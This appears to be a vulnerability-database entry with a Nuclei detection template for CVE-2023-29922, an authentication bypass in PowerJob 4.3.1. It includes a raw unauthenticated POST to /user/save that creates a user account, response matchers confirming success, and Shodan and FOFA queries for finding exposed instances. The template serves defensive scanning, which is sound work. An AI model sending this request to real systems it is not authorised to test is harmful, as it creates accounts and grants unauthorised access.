PowerJob V4.3.1 - Authentication Bypass

2023-04-2616:25:53

ProjectDiscovery

github.com

powerjob

authentication

bypass

vulnerability

unauthorized access

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

5 Medium

AI Score

Confidence

High

0.022 Low

EPSS

Percentile

89.4%

JSON

PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create user/save interface.

id: CVE-2023-29922

info:
  name: PowerJob V4.3.1 - Authentication Bypass
  author: Co5mos
  severity: medium
  description: |
    PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create user/save interface.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of PowerJob V4.3.1.
  reference:
    - https://github.com/PowerJob/PowerJob/issues/585
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29922
    - https://github.com/CN016/Powerjob-CVE-2023-29922-
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/1820112015/CVE-2023-29923
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-29922
    cwe-id: CWE-1188
    epss-score: 0.00822
    epss-percentile: 0.81865
    cpe: cpe:2.3:a:powerjob:powerjob:4.3.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: powerjob
    product: powerjob
    shodan-query:
      - html:"PowerJob"
      - http.html:"powerjob"
    fofa-query:
      - app="PowerJob"
      - app="powerjob"
      - body="powerjob"
  tags: cve,cve2023,auth-bypass,powerjob
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /user/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{str}}","phone":"{{str}}","email":"{{str}}","webHook":"{{str}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"data":null'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200551a619de394d4d567ac4e528391a61d1f79adb6342a9c1a59e529d5caec602022100bfa2585de4b197ec63b527a877403c3e33c6b89112787f02e57ffa692bdcc2bb:922c64590222798bb761d5b6d8e72950